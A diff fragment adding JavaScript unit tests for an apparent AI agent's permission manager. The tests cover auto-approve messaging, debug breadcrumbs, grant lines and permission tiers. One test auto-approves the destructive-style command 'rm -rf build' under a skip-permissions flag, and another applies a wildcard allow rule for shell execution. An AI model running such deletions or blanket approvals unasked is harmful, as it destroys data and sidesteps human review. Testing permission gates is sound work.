+ const pm = createPermissionManager(uiStub, { skipPermissions: true });
203
+ const cb = recordingUICallbacks();
204
+ pm.setUICallbacks(cb);
205
+
206
+ assert.strictEqual(await pm.askPermission('exec', 'rm -rf build', 'exec'), true);
207
+ assert.deepStrictEqual(autoApprovedMessages(cb.messages), []);
208
+ });
209
+
210
+ test('uniform across tools: a non-shell auto-approved tool emits no per-command line', async () => {
211
+ const pm = createPermissionManager(uiStub, { allowedTiers: ['fs', 'net'] });
212
+ const cb = recordingUICallbacks();
213
+ pm.setUICallbacks(cb);
214
+
215
+ assert.strictEqual(await pm.askPermission('file', 'write src/a.js', 'write_file'), true);
216
+ assert.strictEqual(await pm.askPermission('net', 'fetch https://x', 'http_get'), true);
217
+
218
+ assert.deepStrictEqual(autoApprovedMessages(cb.messages), []);
219
+ });
220
+
221
+ test('the one-time grant line still fires exactly once at "always", not per command', async () => {
222
+ await withTTY(async () => {
223
+ const pm = createPermissionManager(uiStub, {});
224
+ const cb = recordingUICallbacks(['next', 'select']); // Yes → Always
225
+ pm.setUICallbacks(cb);
226
+
227
+ // First call: interactive → "Always" grant.
228
+ assert.strictEqual(await pm.askPermission('exec', 'run once', 'exec'), true);
229
+ // Subsequent calls: auto-approved by the remembered tag (no modal).
230
+ assert.strictEqual(await pm.askPermission('exec', 'run twice', 'exec'), true);
231
+ assert.strictEqual(await pm.askPermission('exec', 'run thrice', 'exec'), true);
232
+
233
+ const grants = cb.messages.filter(
234
+ (m) => typeof m.content === 'string' && m.content.includes('Auto-approve enabled for'),
235
+ );
236
+ assert.strictEqual(grants.length, 1, 'grant line fires exactly once at grant time');
237
+ assert.deepStrictEqual(
238
+ autoApprovedMessages(cb.messages),
239
+ [],
240
+ 'no per-command "Auto-approved" line on the subsequent auto-approved commands',
241
+ );
242
+ });
243
+ });
244
+
245
+ test('--debug: the per-command auto-approve detail is preserved (incl. rule/skip context)', async () => {
246
+ // In simple (--debug) mode dbg.log routes synchronously to writer.scrollback;
247
+ // capture it to assert the breadcrumb (with rule context) is preserved.
248
+ const writer = require('../lib/ui/writer');
249
+ const origScrollback = writer.scrollback;
250
+ const captured = [];
251
+ writer.scrollback = (s) => { captured.push(String(s)); };
252
+ dbg.init({ debug: true });
253
+ try {
254
+ // A per-pattern `allow` rule auto-approves and embeds its `[rule: …]`
255
+ // context into the description handed to _emitAutoApproved.
256
+ const layers = loadRuleLayers(
257
+ { permissions: { rules: [{ tool: 'exec', match: '*', action: 'allow' }] } },
258
+ null,
259
+ null,
260
+ );
261
+ const pm = createPermissionManager(uiStub, { rules: layers, cwd: process.cwd() });
262
+ const cb = recordingUICallbacks();
263
+ pm.setUICallbacks(cb);
264
+
265
+ const verdict = pm.resolveRule(['exec', 'git status']);
266
+ assert.strictEqual(verdict.decision, 'allow', 'rule should resolve to allow');
267
+ assert.strictEqual(await pm.askPermission('exec', 'git status', 'exec', verdict), true);
268
+
269
+ // The per-command breadcrumb does NOT pollute the chat UI surface — it goes
270
+ // only to debug output.
271
+ assert.deepStrictEqual(autoApprovedMessages(cb.messages), []);
272
+
273
+ const breadcrumb = captured.find((s) => s.includes('auto-approved:'));
274
+ assert.ok(breadcrumb, 'debug output carries the per-command auto-approve breadcrumb');
275
+ assert.match(breadcrumb, /\[rule/, 'rule context preserved in debug detail');
276
+ assert.match(breadcrumb, /git status/, 'the command/description preserved in debug detail');
277
+ } finally {
278
+ dbg.close();
279
+ writer.scrollback = origScrollback;
280
+ }
281
+ });
282
+
283
+ // ── D1 (Output Refactor Phase 2): the permission close-summary is gone ──
284
+ //
285
+ // When a tool is manually approved, the modal close used to commit a redundant
286
+ // `✓ shell: ls` / `✓ file: Edit line N` summary line to scrollback — fully
287
+ // duplicating the execution result line that follows. That echo is removed:
288
+ // the result line (emitted by the agent loop, not the permission gate) is the
289
+ // SINGLE post-execution confirmation, so manual-approve now matches auto-approve.
290
+
291
+ // Callbacks that record both committed system messages AND any post-close
292
+ // summary string handed to onCloseModal, so we can assert the summary is absent.
293
+ function recordingModalCallbacks(actions = []) {
294
+ const messages = [];
295
+ const closeSummaries = [];
296
+ return {
297
+ messages,
298
+ closeSummaries,
299
+ onShowModal: () => {},
300
+ onCloseModal: (summary) => { if (summary !== undefined) closeSummaries.push(summary); },
301
+ onAddMessage: (m) => { messages.push(m); },
302
+ onCaptureNavigation: (handler) => {
303
+ setImmediate(() => { for (const a of actions) handler(a); });
304
+ return () => {};
305
+ },
306
+ };
307
+ }
308
+
309
+ test('D1: a manually-approved (Yes) call emits no close-summary line', async () => {
310
+ await withTTY(async () => {
311
+ const pm = createPermissionManager(uiStub, {});
312
+ const cb = recordingModalCallbacks(['select']); // Yes
313
+ pm.setUICallbacks(cb);
314
+ assert.strictEqual(await pm.askPermission('shell', 'ls', 'exec'), true);
315
+ assert.deepStrictEqual(cb.closeSummaries, [], 'no close-summary committed to scrollback');
316
+ assert.deepStrictEqual(cb.messages, [], 'plain Yes commits nothing to scrollback');
317
+ });
318
+ });
319
+
320
+ test('D1: a denied (Esc → No) call also emits no close-summary line', async () => {
321
+ await withTTY(async () => {
322
+ const pm = createPermissionManager(uiStub, {});
323
+ const cb = recordingModalCallbacks(['cancel']); // Esc → No
324
+ pm.setUICallbacks(cb);
325
+ assert.strictEqual(await pm.askPermission('file', 'write src/a.js', 'write_file'), false);
326
+ assert.deepStrictEqual(cb.closeSummaries, [], 'no close-summary on denial either');
327
+ });
328
+ });
329
+
330
+ test('D1 parity: manual-approve (Yes) and auto-approve produce identical post-exec output', async () => {
331
+ // Manual approve: interactive Yes through the modal.
332
+ const manual = await withTTY(async () => {
333
+ const pm = createPermissionManager(uiStub, {});
334
+ const cb = recordingModalCallbacks(['select']); // Yes
335
+ pm.setUICallbacks(cb);
336
+ assert.strictEqual(await pm.askPermission('shell', 'ls', 'exec'), true);
337
+ return { messages: cb.messages, closeSummaries: cb.closeSummaries };
338
+ });
339
+
340
+ // Auto-approve via the exec tier flag: no modal shown at all.
341
+ const auto = await (async () => {
342
+ const pm = createPermissionManager(uiStub, { allowedTiers: ['exec'] });
343
+ const cb = recordingModalCallbacks();
344
+ pm.setUICallbacks(cb);
345
+ assert.strictEqual(await pm.askPermission('shell', 'ls', 'exec'), true);
346
+ return { messages: cb.messages, closeSummaries: cb.closeSummaries };
347
+ })();
348
+
349
+ // Both commit NOTHING post-execution — the result line (emitted by the agent
350
+ // loop, not the permission gate) is the sole confirmation. This is the proof
351
+ // the close-summary was pure duplication.
352
+ assert.deepStrictEqual(manual, { messages: [], closeSummaries: [] });
353
+ assert.deepStrictEqual(auto, { messages: [], closeSummaries: [] });
354
+ assert.deepStrictEqual(manual, auto, 'manual-approve == auto-approve post-exec output');
355
+ });
356
+
357
+ test('permission tiers map the expected tags', () => {
358
+ assert.ok(TIER_EXEC.includes('exec'));
359
+ assert.ok(TIER_FS.includes('write_file') && TIER_FS.includes('read_file'));
360
+ assert.ok(TIER_NET.includes('http_get') && TIER_NET.includes('download'));
361
+ assert.ok(TIER_SYS.includes('system_info'));
362
+ });